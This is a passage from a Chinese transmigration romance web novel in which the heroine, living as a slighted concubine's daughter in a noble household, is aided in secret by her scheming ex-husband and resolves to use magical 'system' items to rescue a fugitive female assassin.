此时他嗓音沙哑,听起来还有点厚重的鼻音,可能是在火场被烟火熏得还没缓过来。
“笨又不可耻,总比你满肚子坏心眼要强得多。”相处八年,女人早就对这句话免疫了,懒得反驳,不过一想到腿上的口水,她还是起了一层鸡皮疙瘩。
那可是口水!
一顿脑补过后,俞采星有点犯恶心,于是挣扎着起身,想要把口水擦掉。
谁知刚一抬头便被男人摁倒,“闭眼,不许起来。”然后一件衣服蒙住了她的脸。
俞采星:“……”
算了,滴都滴上了,死猪不怕开水烫,于是又开始躺尸。
过了一会儿,游千古大概抹完药了,又帮她一件一件把衣服穿好。
“小星,对不起,我又一次没保护好你,以后不会了,安心睡吧。”他把火烛吹灭,搬来一个杌子放在床边,就这样坐下来,握着她的手。
俞采星叹口气,心道:这狗男人真惜命,攻略果然无处不在,台词张口就来。
她挣扎不开,就随他去了。
突然,俞采星脑子想到一件事,然后紧张地问他:“游千古,系统要你攻略我爱上你,那你大脑肯定有好感度提示吧?快看看,我对你的好感度是不是负数?”
过了好久,他才带着浓重的鼻音“嗯”了一声。
呼~是负数就好,这下俞采星放心了,不一会儿就迷迷糊糊睡了过去。
不知过了多久,窗外响了三声猫叫,耳边传来窸窸窣窣的声音,然后一切又归为平静。当俞采星再睁开眼时,天光已经大亮,床边不见游千古,只剩下一个装着淡粉色药膏的小瓷瓶。
俞采星扶额提醒自己:都是攻略,都是攻略。
她如和尚念经般在心中默念,然后赶紧下床把手帕打湿,寻着昨晚的记忆,将沾到口水的皮肤用力擦了擦。
“咕噜~”肚子饿了。
俞采星捂着肚子,已经日上三竿,怎么还没人来送饭?但凡身边有个人,她也能多问一问现在的处境。
正想着,外边传来脚步声,房门被推开,一个老嬷嬷走进来。
这是姜氏的陪房,府中的管事王嬷嬷。
“大小姐,夫人说让你去前厅待客。”她声音没有起伏,对俞采星行了一个礼,可眼神却像昨天的孙婆子一样,没有半点尊敬。
俞采星没动。
“大小姐请移步,难不成还得三推四请才肯走?”
“嬷嬷,既是去见客,你看能不能找个人来给我梳梳头。”经过昨日一番折腾,头顶上那个独髻早就散开,她折腾一顿,也不会用昨天摘掉的那个发冠,至于这个朝代女子的发髻,她就更不会梳了。
“听大小姐的意思,还得让客人等您沐浴焚香?”
“我不是这意思,可好歹也得——”
“快些走吧,若再次让俞府失了面子,主君回来也是要动大怒的,大小姐还嫌昨日俞府闹得笑话不够么?”
好吧,她去。
俞采星只能用手当梳子犁了几下头发,顶着梅超风的发型,亦步亦趋跟着王嬷嬷。
刚一进前厅,俞采星就看到一瘦高男子,他身穿玄甲黑氅,身形如铁,手里拿一把鞘镶黑金长剑。
静立如山,目光如电。
那男子与俞采星对视,略在她身上停顿一眼,随即有些错愕。
走进来的女子衣衫破败,披头散发,脸上还带着淤青,一看就是昨日闹完后没有打理,她皮肤虽说不上特别白皙,倒也不黑,五官虽不那么精致,但也算端正。
样貌没什么突出的地方,若不是顶着俞府千金的名号,就是很普通的一个女子。
俞家这姑娘怎的如此……
十叶不知该如何形容,只能说世子爷的眼光还是一如既往的清奇,他上次如此兴师动众要救的,还是皇城密林外一只被巨蟒缠绕的幼虎。
将白虎救回来后,世子爷精心喂养了两年,极其喜爱,然而却在某天的傍晚,亲自杀.虎掏.心,原因是用两岁龄的老虎心头血入酒,可解辛辣。
十叶不知眼前这俞姑娘,是哪个部位得到了世子爷的青睐,反正不可能是因为真心喜欢,因为世子爷压根对女人没兴趣。
他有些不甘的继续打量,若非要说俞采星哪里特别,应该就数眼睛了。
那双眼睛乍一看没什么,瞧得久了竟觉得通透而明亮,像天上的星子,亦如山间清泉,满满都是清纯与日光的味道。
罢了,世子爷的心思岂是他能随意揣度的,还是办好差事要紧。
于是他双手抱拳,垂首沉声道:“见过俞大小姐。”
可还没等俞采星说话,一句斥骂响彻厅堂。
“胡闹,还不跪下,让你出来见客,你这副模样成何体统,哪里有半点俞府千金的仪态,看来我这做母亲的平日里实在太纵容你了。”
姜氏坐在厅堂主位上,声调不高,却字字如冰。她身为嫡母,事出有因而罚跪庶女,就算世子爷和王妃亲自在这,她也合乎礼数,更遑论现在来得只是个奴才。
俞采星抬头。
昨夜祠堂大火,她没怎么看清嫡母的模样,如今仔细打量,她果然长得一脸尖酸刻薄相,虽然服饰妆容也都是好的,可她就觉得此人阴险。
俞采星虽然是孤儿,可从小到大也没跪过谁,此刻她不想跪下,奈何这里是封建王朝,正所谓好女不吃眼前亏,只能听话下跪。
这时姜氏才转头对立在一旁的男人说道:“家中这个庶女实在不成样子,让叶护卫见笑了。”
“属下不敢,不过今日我是奉王妃之命,来向姜夫人和俞大小姐转达几句话。”
“既然是王妃的吩咐,妾身自当恭听。”话虽如此说,姜氏眼皮一掀,心里一阵冷笑,哪里是王妃派他来传话,分明是世子借着王妃的由头罢了。
此人名为十叶,是游千古八岁那年加封世子时,锐亲王赐给他的影卫,若真是王妃授意,来的该是王妃身边的人才对。
不过一个影卫,说好听点是世子爷的心腹,实际上不过一个死侍罢了,能让她这个当家主母坐在这,还不是因为对方借了王妃的名头。
十叶一拱手,声音拔高:“王妃说,俞大小姐虽然举止略微不当,但也率真可爱,不必下跪,赐座。”
姜氏:“……”
一众下人:“……”
姜氏冷笑,“没听见么?王妃体恤,不必你跪。”
俞采星乐了,她还以为今日有一场硬仗要打呢。
“王妃问俞大小姐,用早膳了吗?”十叶梗着脖子道。
俞采星摇摇头。
“来人,摆桌。”他拍拍手。
于是有人抬着圆桌进来,陆陆续续摆了各种好吃的菜肴,“这一桌菜是王妃特意赐下的,俞大小姐可放心食用。”
看着陆陆续续进出的陌生奴才,姜氏手里的锦
帕都要捏碎了,游千古欺人太甚,竟如此轻看俞府。
俞采星倒是受宠若惊。
这锐亲王妃的态度与昨日的反差也太大了,明明昨日还不待见,今日就送来这么一大桌子菜,不过她也的确饿了,既如此,那就不客气了。
俞采星急不可耐上桌吃饭,吃相自然是没有的,只是刚吃了几口,就发现味道有些熟悉,很像游千古做的。
女人立刻“呸”一声吐出来,真他爹的影响食欲。
十叶见她这不成体统的吃相,觉得与当年世子爷养的那只小白虎不相上下,不过果真如世子爷料定的那样,她吃了几口后就不动筷子了。
于是他只好按照世子爷的吩咐说道:“王妃说,这些都是小郡王一早命人张罗的,是昨日对余大小姐出言不逊的赔礼。”
“小郡王当真不同我计较了?”
俞采星咬唇思忖,游万辰昨日被她绑起来,全身上下都抹了蜂蜜,被折腾得不轻,两人可谓是水火不容,没想到他竟然会主动送来赔礼。
男人果真最爱阴晴不定。
十叶眼神闪躲,心虚摸摸鼻子,“当真。”
提起游万辰,俞采星不禁怀念起前世的好友兼老板万辰,难免心有戚戚,但他们已生死相隔,再想也只能徒增伤悲。
还是填饱肚子最实际。
既然这一大桌子是游万辰命人准备的,那肯定和游千古没关系,许是这个厨子手艺跟前夫哥差不多,于是她又高高兴兴吃起来。
十叶看着俞采星重新开始狼吞虎咽,不禁感叹:世子爷真乃神人。
他又对着姜秀荣躬身一拜:“王妃问姜夫人,不知俞府最好的院子是哪处?”
姜氏不明所以,但还是谨慎回答。
“我家主君一向孝顺,俞府内最好最宽敞的院子,自然是我婆母的松鹤堂。”
“王妃复问姜夫人,那第二好的院子呢?”
“主君忙于政事,必须有个舒适的住处才能休息好,故凌风院是第二好的。”
“王妃又问姜夫人,第三好的呢?”
“我是当家主母,若不体面,主君脸上无光,所以是我住的荷韵斋。”
“王妃再问姜夫人,那第四好的呢?”
讲到这里,姜氏脸色已经黑透了,她心里忽然生出一种不好的预感,但只能硬着头皮继续说:“欣然云英未嫁,挽星又是家中嫡女,故她们姑侄两人住在碧水阁——”
“王妃说,今日起,府上姑奶奶和二小姐,同俞大小姐对调住处,俞大小姐即刻入住碧水阁,改名为晨曦阁。”
十叶直接打断姜秀荣的话。
“来人,即刻布置,把晨曦阁里面原有的物什通通搬走,将小郡王今日赠给俞大小姐的赔礼搬进去。”
此言一出,不啻于晴天霹雳,在场皆惊,就连俞采星也被震得半晌回不过神。
姜氏怒急拍桌:“大胆!”
她力道很大,桌子颤了颤,茶盏里的水晃荡着撒了一滩:“这里好歹也是都御史的府邸,岂容你一个侍卫在此指手画脚。”
十叶并不理会她的怒喝,言语依旧平静从容,再次躬身行礼,“属下只是传王妃令,王妃有喻,当年俞大小姐生身姨娘用命救了小郡王,虽然皇家贵重,但岂能因她身份低微而轻慢,这份因果锐亲王府永远记得。”
姜氏脸色更冷了:“恩情是恩情,礼法是礼法,王爷、王妃虽为皇亲贵胄,可也不能干涉我府中内事,你且退下吧,此事我会亲自向王妃陈情。”
15. 救还是不救
世子爷吩咐的事还没办好,十叶自然不能走。
“姜夫人这是对王妃的处置有不满?难不成你要阻挠小郡王报恩,让天下人都以为锐亲王府、以为小郡王是忘恩负义之辈?”
“此事我会亲自向王妃陈情告罪。”姜氏不再与他纠缠,起身一甩衣袖,“来人,送客。”
说罢就要离开。
然而,六名带刀侍卫直接拦住姜氏,刀鞘出了半截。
“你、你们,这里可是都御史府!”姜氏气得浑身颤抖,“我若不从,王妃还要杀了我不成?”
十叶没有回话,而是拍了拍手,紧接着又有两名侍女、一名侍卫进来。
“王妃说,姜夫人爱女心切,对庶女也同样视如己出,定不会反对换房一事,还有,这三人是小郡王精心挑选来俞府伺候恩人之女的。王妃还说,姜夫人切莫误会,以为他们是来探查俞府中事的。”
摆明了这些人也是游千古打着幌子送来的,此时姜秀荣已被气得说不出话,脸色青一阵白一阵,“来人,来人,把这些混账东西给本夫人轰出去!”
然而俞府的家丁岂能跟亲王府的影卫比,只看到兵刃,一个个就跟鹌鹑似的。
俞承荫不在,姜氏又没有诰命在身,可谓是叫天天不应,叫地地不灵,压根拿十叶没有半点法子。
而俞采星则是一边吃饭一边看嫡母吃瘪,当真以为这一切,真的是小郡王让锐亲王妃出面送来的。
她暗自诽腹,没想到游万辰虽然嘴碎,脾气也差了些,但为人还挺正义,俞采星发誓,为了报答今日的恩情,以后有他的地方,绝对没她,老远碰见也会绕道走,再不到他跟前添堵。
一个时辰后底下人来禀告,晨曦阁收拾妥当。
十叶将自家世子爷教予他的话,一字不落说给姜氏,明里暗里都是敲打,之后便将俞采星恭恭敬敬送进晨曦阁。
一进院门,女人深受震撼。
这里可比原身的翠云阁好太多,院内种了海棠与玉兰花,花田旁还架了秋千,回廊绕着花池,青石小径净洁,正屋雅致亮堂,旁设小轩,一派清幽娴静。
此处分东西两阁,小姑姑俞欣然辈分高,住东阁,嫡妹俞挽星住西阁。可姜氏就这么一个宝贝闺女,担心西晒,于是让工匠特意加宽西阁的挑檐,不仅如此,连西墙也加厚了。
没想到姜氏这人坏归坏,倒是一位好母亲,身为孤儿的俞采星很羡慕这种母爱。
晨曦阁很大,里面一应物件都是王府重新添置的,而且看起来就是那种低调的华贵风,她就一个人,屋子太多根本住不过来,于是选择自己住东阁,小郡王送来的三个侍从住西阁。
侍从是两女一男,分别叫云雨、云霜和千叶,不过千叶自从俞采星分完屋子后就不见了踪影。
云雨觉察出她的疑惑,上前禀报:“回禀小姐,千叶是主子派给您的影卫,平时都是隐藏在暗处,当您有危险的时候才会出现。”
俞采星一听,暗自叫苦。
他就说游万辰与她不共戴天,怎么会突然这么好心派人过来,这哪是影卫,分明是“人形跟踪器”和“人形监视器”。
云雨、云霜躬身行礼,“小姐,我们已经备好热水给您沐浴梳妆。”
俞采星低头一看,自己确实挺狼狈,是该好好洗个澡。
两人带她来了净室,大浴桶跟昨日游万辰泡澡的那个模样差不多,热气萦绕在木桶上方,隐约还闻到了药草香。
云霜:“主子说您身上有淤伤,泡药浴能缓解疼痛,您也舒服一点。”
“真是太周到了。”俞采星不是不知好歹的人,忙道:“那就多谢小郡王了。”
由于她是背对着身子,所以并没有看到云雨、云霜一脸为难、欲言又止的表情。
俞采星走到浴桶前,两人上前就要给她宽衣解带,后者立刻觉得亲密距离被侵.犯,“别别别,我自己洗,等会儿劳烦你们帮我梳个发髻就成。”
她一个受过高等教育的现代牛马圣体,生前没有衣来伸手饭来张口的富贵命,哪里习惯别人的伺候。
两人作揖:“是,奴婢遵命。”
这么好说话?俞采星还以为又得费一番口舌呢。
只听云霜又道:“主子派奴婢们来,只为伺候和保护您的安全,主子说了,让我们一切都听小姐的,不可违抗您的任何意愿。干净衣服奴婢给您放在屏风上,您沐浴完是否需要奴婢给您上药?”
俞采星身上淤伤不少,自己够不着,得让人帮忙。
“好,那就谢谢了,我洗完后叫你们。”
洗完澡,抹完药,换上干净的衣服,又梳了一个利索的发髻,俞采星顿觉心清气爽,大白天躺在床上躲懒。
她趁这功夫又调出【亡灵的遗憾】,画面里郑芮浑身是胆、宁死不屈的模样又出现在她眼前。
郑芮,前护国大将军郑元达的独女,她武功高强,重情重义,恩怨分明。因郑元达没有儿子,后继无人,郑芮便自请长年女扮男装,跟随父亲征战沙场。
但自古帝王忌惮武将功高盖主,因此将军府被诬陷通敌叛国满门抄斩,郑元达夫妇拼尽一切,把女儿送出重围,整个将军府只活了郑芮一人。
为了报仇她夜闯皇宫刺杀皇帝,可危急关头皇后出来挡刀,长剑刺穿皇后才又刺中皇帝,他这才没有伤及要害,但皇后伤势严重。
锐亲王妃此次进宫就是为了给皇后侍疾,直到她病情稳定才出宫。她俩未出阁时便是要好的手帕交,这么多年,感情并未因为身份改变,皇后生死关头,锐亲王妃定是要陪在身边的。
郑芮刺杀失败,虽然逃出皇宫却也身受重伤,四五天来一直东躲西藏,最终不敌追兵,毅然决然跳下护城河,但最后还是被捞起,鞭尸七日。
死亡时间:五月初九子正二刻,地点:平郊护城河内。
“真是太惨了……”俞采星看着画面中的悲壮,心有戚戚,这么高武又正气的女子,若有能力救回来就好了,说不定以郑芮的豪气,还能同她拜个把子。
五月初九子正二刻,也就是后天凌晨。
起初俞采星放弃救人,完全是因为以她的能力救不了,还非常有可能再把自己搭进去。
但现在有了【超自然科学实验室】,情况就不一样了,郑芮是她现在唯一一个有眉目,且百分百确定的必死炮灰,只要救了她,就能再延长六十天的生命。
可现在满城都在抓刺客,郑芮犯的是弑君谋逆大罪,若
真要去救,光靠莽是不行的,必须要有一个万全的计划。
正想着,云雨来请她用午膳。
许是这次姜氏被锐亲王府羞辱得太彻底,所以俞府上下没有敢来找俞采星麻烦的,更没往她身边塞眼线。晨曦阁设了单独的小厨房,云雨云霜她们也无甚大事,顺便揽了做饭的差事。
俞采星想,既然锐亲王府送他们三个来了俞府,想来不会轻易离开来,往后总要一起相处,她不想住得不自在,便提议一个桌子吃饭,云雨云霜显然被她的话震惊到。
自古以来尊卑有别,哪有奴婢同主子一起吃饭的。
但世子爷说,俞小姐的任何命令都不可违背,于是只能战战兢兢答应。
“说了一起用膳,怎么还不见千叶?”
云霜恭敬回道:“千叶是影卫,必须时刻保证主子周边的安危,即使吃饭也不能露于人前,我们已经拨出饭食放在灶房,他空了会自己去拿。”
俞采星:“……”
果然,不管哪个年代,牛马都是最不容易的。
一整天,俞采星除了吃饭如厕,就把自己关在卧房里思忖对策,后天凌晨若要去救人,首先遇到的阻碍就是千叶、云雨和云霜。
他们是游万辰的人,游万辰又是皇家的人,郑芮行刺皇帝,作为亲侄子他肯定恨不得将郑芮除之而后快,若知道自己倒反天罡去救反贼,下一刻就会喜提斩立决。
俞采星意识进入【超自然科学实验室】,现在这是她唯一的倚仗,反复在里头寻找,还真让她发现了好东西。
【超自然隐身衣】:任意布料,三滴鲜血,耗费生命值三百六十小时,隐身不隐声,虽然肉眼看不到,但肢体碰触会有感觉。开启隐身功能后,可持续保持十小时隐身效果,冷却时间三年,可永久持有。注:隐身衣有共通性,同时穿隐身衣的双方,可以互相看到。
【水上陆地手环】:一抔土,一杯水,任意镯子一个,耗费生命值二百四十小时。佩戴后在水里会自动生成一块人形大小的明亮空地,环境与陆地一模一样,可自由呼吸。水上陆地的环境只有使用者能看到,但不隐身,进入水中即可生效,无冷却期,可持久拥有。
俞采星快速思索,从那段亡灵影像上看,郑芮已经被层层包围,众目睽睽之下,唯一能逃命的生路,就是那条护城河。
若躲进水里逃避追捕,就必须得穿隐身衣配合才行,按照介绍,手环购买一个就够用,但隐身衣必须要买两件才行。
东西是好东西,就是太费命。
一件隐身衣需要消耗十五天生命,两件就是一个月,再加上陆地手环,一共需得花费四十天寿命。
俞采星眨眨眼,生命倒计时还剩【43天:0小时:27分钟:56秒】
可救郑芮不过才增加六十天命,还得冒着砍头的风险,万一救人不成功,这寿命就白白浪费了,届时她就只剩三天好活。
明显,这笔买卖并不划算。
俞采星思来想去,直到后半夜也没有下定决心救人,就在这时,窗扇旁又传来响动,窸窸窣窣的,她瞬间警醒。
只见女人赤着脚一溜烟蹿下床,随手捞起房里的高脚凳,在人影翻窗进来的瞬间,猛力打下去。
16. 姜氏的暗喻
“唔……”对方溢出一声呻吟。
打中了!
“小星,是我。”男人沙哑中带着痛苦的嗓音低低传入耳畔,俞采星假装没听见,举起凳子一阵咣咣猛砸,很快就有血腥味窜入鼻子。
“小星,别闹!”游千古倏然倾身,一把夺过凳子扔掉,下一刻扣紧她的手腕,稍稍一收劲,猛地将人拉进怀里,低头便覆上了她的唇。
【每日零点重置,恭喜宿主获得馈赠血值,增加生命值24小时,总生命值为【43天:22小时:48分钟:5秒】
这回,游千古没有像上次那样浅尝辄止,而是带着攻城略地的霸道,齿.舌.交.缠间寸寸掠夺,不给她半点喘息。
他在惩罚她。
“游、游千古、唔唔……”俞采星连话都说不完整,男人将她摁在身后的墙上,扣住她的后脑勺,手指深.深.插.进她的发中。
这一吻凶狠又绵密,每一次呼吸都被他堵回喉咙,逼得俞采星只能承受,就在怀里的人即将窒息时,游千古才终于肯松开。
男人眼睛依旧灼热盯着俞采星,他的唇一寸一寸,慢慢地,远离她的唇。
空气温度陡然升高,映着窗外的月光,两人皆呼吸急促。
俞采星愤怒扬起手,可一想到刚才的馈赠血值,便有些底气不足,打不打这一耳光又有什么区别,游千古实实在在又续了她一天命。
被迫掌心朝上的日子令女人难堪至极,不同点在于别人拿清白换钱,而她拿清白换命,交换对象还是渣了她的前夫。
俞采星垂下手,别过脸强作镇定:“现在外面可都是游万辰的人,你这样半夜偷偷爬我的窗户,就不怕他知道?”
游千古没应声。
刹那间俞采星脑中火光一闪,似想到什么,不可思议地回头,“所以云雨、云霜、千叶,根本就是你的人?”
男人再次沉默,等同于默认。
她早就该想到的,昨日锐亲王妃对她极为不满,游万辰更是恨透了自己,怎么可能一大早来帮她解围。再说千叶既然是影卫,武功一定很高强,又怎么可能任由男人翻她的窗户还不出现。
原因只有一个,那就是三人口中的主人,根本不是游万辰,而是游千古。
“给我换院子,换家具,送金银首饰,打理衣食住行,这些都是你做的?包括今天早上那顿饭?”
“没错。”既然被看穿,游千古干脆利落承认。
半晌后,俞采星只能挤出一句话。
“……漂亮!”她嗤笑一声,缓慢拍击双手,“所以你的目的是,在我走投无路的时候匿名帮我,最后再让我不经意之间发现其实是你在默默付出,企图用这种带有冲击力的方式,来突破我的心防,从而达到你攻略我的目的?”
游千古听完,也跟着低沉一笑,语气里带着不易察觉的宠溺,“小星,你脑子里整日都装些什么。”
他上前一步,想离她更近一些,俞采星却慌忙后退一步,眼睛警惕得像护食的小猫崽。
男人眼神一黯,转头打量屋内摆设,转移话题道:“怎么样,这里住得还习惯吗?”
俞采星擦擦红肿的嘴巴,将高脚凳拾起来护在身前戒备,又一屁股做回床上。此刻她内心苍白无力,只能厚着脸皮生硬地说:“你给我的这一切,我会尽快想办法还给你的。”
尽管还不知道要怎么还。
她不得不承认,如果没有游千古,今日晨起姜氏绝不可能轻易饶了她,打杀或许再也不敢了,但作为名正言顺的嫡母,想要打着幌子暗戳戳磋磨一个庶女,法子还是不少的。
若游千古没有出轨,若他没有在离婚时做得太绝,若穿书后对她的这些好不是因为系统任务,那么此时,俞采星一定会对他感激涕零。
可以上“如果”全都不存在,现实就是这么讽刺。
游千古不着痕迹捂了一下头,有些苍白的脸上,带着些许祈求:“小星,再信我一次,好不好?”
俞采星抬眼望向他,“我也不想这样,可你知道这是不可能的,人与人之间的信任一旦坍塌,就算再如何补救,也终会存在裂痕。”
何况横亘在他与她之间的,不是裂痕,而是永远无法跨越的天堑。
“裂痕……”游千古惨然一笑,“只要有爱,什么裂痕都能抚平,你总是不肯给我机会,不过是因为你根本不够爱我罢了。”
俞采星心脏一梗,怒火又被挑起。
“游大律师一惯最会倒打一耙,你是扮演好男人上瘾了吗?不过才过去两年,你曾经做的那些龌龊事就全不记得了?你我之间最不配提的就是爱,何况你如今对我费劲心机,是因为爱吗?不,只是为了你自己活命罢了!”
俞采星本来觉得渣男送的东西,不要白不要,反正也是前世欠她的,可刚才游千古的话,就像给她喂了一嘴屎。
她胳膊猛地一挥,情绪上头:“马上把你的人、你送的东西全部拉走,我既然能不靠你找到续命方法,就一定也可以不靠你在这俞府立足活下去,以后别再让我看见你,否则我就真的自戕,咱们同归于尽!”
游千古被她推得踉跄几步,扶住桌子才能堪堪站稳,若仔细看,就能看出他左边身体行动迟缓,而且后脖颈处,连同背后的衣服,染了大片血迹。
俞采星的话再次触动了男人敏感的神经,脸瞬间冷了下来,眸子死死锁住她:“小星,用命威胁的把戏用一次就够了,你想死?想得美!”
男人这次是真的生气了,他听不得她动不动就把自戕挂在嘴边,一想到她在自己怀里死过一次,恐惧就像潮水,恨不能将他吞噬湮灭。
就在两人剑拔弩张时,屋外传来敲门声。
“世子爷,步军司的人来了,说是要搜查朝廷逆贼,已经到晨曦阁院外了,您看您是……”千叶的话点到为止,言语间小心又谨慎。
“知道了。”游千古不咸不淡说了一句,反倒是俞采星绷不住了。
“步军司的人要是在我房里把你搜出来,那还得了!”明日一早,她就得让锐亲王妃压着去尼姑庵绞头发。
俞采星赶紧将人往窗边推,可男人刚爬出去半个身子,又退回来。
“快走啊?!”她一跺脚,低声呵斥。
“走不了了,下面全是人。”游千古摇摇头,若无其事坐下,还慢条斯理倒了一杯茶喝起来,“怕什么,撞见就撞见,我正好光明正大娶你。”
俞采星沉下眼。
她就知道,这男人心脏上长了个蜂窝煤球,不管做什么永远都是带着目的性的,哪有什么真心可言。
“卑鄙!”女人端起茶壶揭开盖子,将里面的茶水全数泼到他脸上才解气,跑到墙角快速打开一个木头箱子,手忙脚乱将人塞进去,连一个说话的机会都不给游千古留。
盖上盖子的瞬间,步军司的人敲响了房门,“俞大小姐,我们奉旨抓拿谋逆要犯,圣旨言明全城搜捕,不得落下一户,请您开门移步中庭,配合我们搜查。”
此人说话进退有度,不卑不吭,俞采星也知道圣意难违,于是也没拿乔直接开门,一队士兵瞬间进入房内翻箱倒柜。
俞采星惴惴不安,这么个搜法肯定立刻就把游千古搜出来了,明天整个皇城茶余饭后又有谈资了。
“俞大小姐,请吧。”这时上来一名官兵,对着她和云雨云霜三人,抬手做了一个“请”的姿势,俞采星三人只得被迫跟着官兵走,但是没瞧见千叶。
官兵将她引到中庭,各个院的主子奴才全都挤在这儿,就连身有诰命的老夫人也没能幸免于难。
徐徐夜风中,俞府上下人心惶惶。
也是这时,俞采星终于见到了传说中,身为“原主”对照组、那个温婉贤淑的嫡妹俞挽星。
她站在姜氏身后,端庄大方,即使深夜被叫到中庭,也不见半点愠色和狼狈,举止得体,身板也挺得直直的。
俞欣然则站在俞挽星身侧,双手紧揽着她的手臂,脸上表情紧绷,看起来一点不像姑姑,倒像是侄女。
搜捕营、马军司、步军司、殿前司联合京军营,总共三万余人,封禁皇城,在城内开启地毯式搜捕,不论是高官贵胄还是平民百姓,一律无差别搜查。
郑芮可是一剑捅穿了齐月国的皇帝皇后,若非两人侥幸捡回一命,不然整个齐月国就直接变天了。
她活着,皇帝就寝食难安。
王都头抱拳行礼:“老夫人、夫人,我们奉命捉拿谋逆钦犯,得罪了!”
“无妨,各位办差要紧。”老夫人摆摆手,这深更半夜,她年纪大受不得折腾,便找人抬来贵妃椅,躺在上头假寐。
帝后遇刺之事皇宫大内瞒得严严实实,对外只说谋逆钦犯混入了皇城,但看这架势便知道这钦犯不一般,遂姜氏也十分配合:“既然诸位有皇命在身,我们自当全力配合。”
四队官兵将俞府里里外外搜了个底朝天,就连池塘子都潜下去捞了一遍,足足翻腾了三刻钟才离开。
直到官兵走干净,也不见搜出游千古,俞采星觉得奇怪,刚要转身离开,却看姜氏朝她走过来。
难不成是要找茬?
她这嫡母一大清早就被锐亲王府羞辱,看起来也不是那种不长记性的蠢笨人,怎么这么快就又来找麻烦?
俞采星正想法子脱身,不料姜氏却温柔抬手抚上她红肿的脸,“我的好女儿,没想到你这张脸,竟也能让男人欲.罢不能。”
俞采星下意识后退一步,云雨、云霜直接挡在她身前,阻挡了姜氏的动作,后者却也不恼。
“采星,好好一张脸怎么给打成了这样,活该那孙婆子被打断一双腿扔出府去,真是半点也不冤枉,也难怪世子昨夜发疯不够,竟一大早又来咱们俞府闹个鸡飞狗跳。”
俞采星诧异,她只知道游千古闯火场救她,后面为她报仇、难为姜氏的事却一点也不知晓。
不过听姜氏这话,原来她早就知道今晨是游千古打着锐亲王妃和小郡王的幌子换住所,只是没有说穿罢了。
俞采星撇撇嘴,只有自己后知后觉。
“瞧瞧,我不过留住你嘱咐两句,两个丫头就这般如临大敌,若传回锐亲王府,还又以为我这做嫡母的欺负你呢。”姜氏面上笑容不减,“当年你外祖母来看你时,我可打了包票像亲娘那样疼你,是绝对不会因为她不在人世而变卦的。”
俞采星本来就脑子不大够用,姜氏啰哩巴嗦拐弯说这一大堆,更叫她一头雾水。
“行了,大家都回去了,你也早些就寝吧。”姜氏态度虽温柔,但却没有丝毫温度。
这模样让俞采星想到要吃唐僧肉的白骨精,不由地打了个寒颤,说了声:“是,母亲”,就匆匆带着云雨云霜赶回晨曦阁。
“你们直接回房睡吧,我这边不需要伺候。”俞采星心绪复杂看向云雨、云霜。
“遵命,奴婢告退。”
俞采星来这里两天,对于这些卑躬屈膝的话术极其不适应,总感觉自己在演话剧似的。
闺房内。
女人大步跑到木箱前,匆忙打开,里面却空空如也,人早就不在了。
也是,游千古现在可是尊贵的亲王嫡长子,这点小场面怎么可能搞不定。
紧接着俞采星眸光一顿。
箱子侧面和底部晕染了大片红色,甚至从木箱底部渗到地上,她低头一嗅,竟然是血迹。
俞采星想到先前在男人身上闻到的血腥气,眼神黯了黯。
17. 她和她一起跳
女人面无表情关上箱子,并没有因为先前拿杌子打人而感到愧疚,谁让这厮总喜欢半夜爬她窗户。
俞采星愈发地烦躁。
她解衣上床,可翻来覆去就是睡不着,今夜心里总觉得不踏实,除了游千古的攻略任务、还有救不救郑芮的事之外,再就是刚才姜氏在中庭刻意提起原身的外祖母。
俞采星虽然不擅心机,可也知道姜氏不可能无缘无故提起原身的亲人,尤其那语气很像是一种傲慢的威胁。
没有记忆,简直太被动。
要想真正靠自己的能力在俞府站稳脚跟,就必须查清楚原身的过往和俞府上上下下,但这一切的基础是必须有个绝对可靠的人帮自己。
云雨、云霜和千叶自然第一时间排除,原身的好友陆昭昭为人仗义,又重感情,倒是不错。
可那姑娘跟自己一样迷糊,每次办事,事没办好,反把她自己也拖下水,尤其这次差点连她老爹的性命都搭进去。
俞采星不想利用原身与陆昭昭的感情,让她一次次去涉险,这么美好的友谊不应该被玷污,清澈的爱,只能用同样清澈的爱来回报。
女人望着天花板,手指有一下没一下敲着床面,脑海中突然映出郑芮的脸。
她眸色微动。
郑芮不仅武功高强,还有谋略,若能将此人留在身边,哪还用得着千叶保护,她可以直接将人轰走,进而完全断绝与游千古的联系。
况且世上知道郑芮是女子的人不超过一个巴掌,而且还全部死掉了,就连郑元达的旧部陆铁山,都一直以为她是个铁骨铮铮的汉子。
让郑芮恢复女装躲进俞府,只要不自曝,就应该不会被发现。
俞采星之前还在犹豫要不要救人,可现在形势严峻,所有一切都对她不利,她必须要赌一把。
……
第二日,除了吃饭如厕,俞采星就没有离开过卧房。
她对云雨云霜的态度也不似先前真挚坦诚,本来以为她们是游万辰的人,结果却是游千古派来的,所以她们总要离开的,无效社交就不需要了。
一整日下来,俞采星都在心中反复推演如何营救郑芮,从时间、到路线,甚至是营救的每个动作,她都在心里尝试了无数遍。
直到快接近子正二刻,俞采星才从游千古送来的一堆锦衣中,找到一身裙长和袖口没那么夸张的,但跑起来终究没那么利索,可总比身上这件拖地装好太多。
现在被千叶监视,她若敢出去买套干活的寻常衣裳,游千古那边立刻就知道了,为了以防万一,也只能凑合穿了。
俞采星换上衣服,将发髻上繁杂的钗环一根根取下来,又解开发髻,只用头绳绑个马尾。
戴上“水上陆地手环”,一键穿上【超自然隐身衣】,准备好一切这才轻轻打开房门,又快速关上,就这样光明正大走了出去。
深夜,俞府院子里的灯笼都灭了,好在天上月色皎皎,不至于伸手不见五指。
俞采星走得很慢,她仔细留心脚下,生怕惹出什么动静被暗处的千叶捕捉到,虽然现在是隐身状态,可千叶作为影卫的洞察力不容小觑。
谨慎果然没错,千叶没出现阻拦,她就这样一路畅通无阻,来到俞府大门。
只见门口处有两个值夜的家丁,他们一左一右倚靠墙壁,歪歪站着,上下眼皮不怎么听使唤,正要昏昏欲睡。
俞采星轻轻走过去,再次小心翼翼拉开大门走了出去。
听到门响声,两个家丁猛地清醒,却发现大门是开着的,两人立刻提着灯笼推门去追,看了良久也没发现人。
其中一人啐了一口:“定然又是那刘三半夜偷偷溜出去会相好的,现在城里到处都是官兵,他也不怕惹上麻烦。。”
另一个人也语气不善:“咱们辛苦守夜,他却逍遥自在,明日咱们一起禀了刘管事,让他长长记性。”
两人猜错了人,便也没在意,重新关好大门后,继续昏昏欲睡。
出了俞府可就没那么太平了,往日寂静晦暗的街道,此刻被火把照得通明,长街上到处都是来来往往横冲直撞的官兵,撞门声此起彼伏,民房里时不时就传出打砸和哭喊声,没有一户人家睡得安稳。
俞采星小心避着人,提着裙摆一路往平郊护城河方向狂奔。
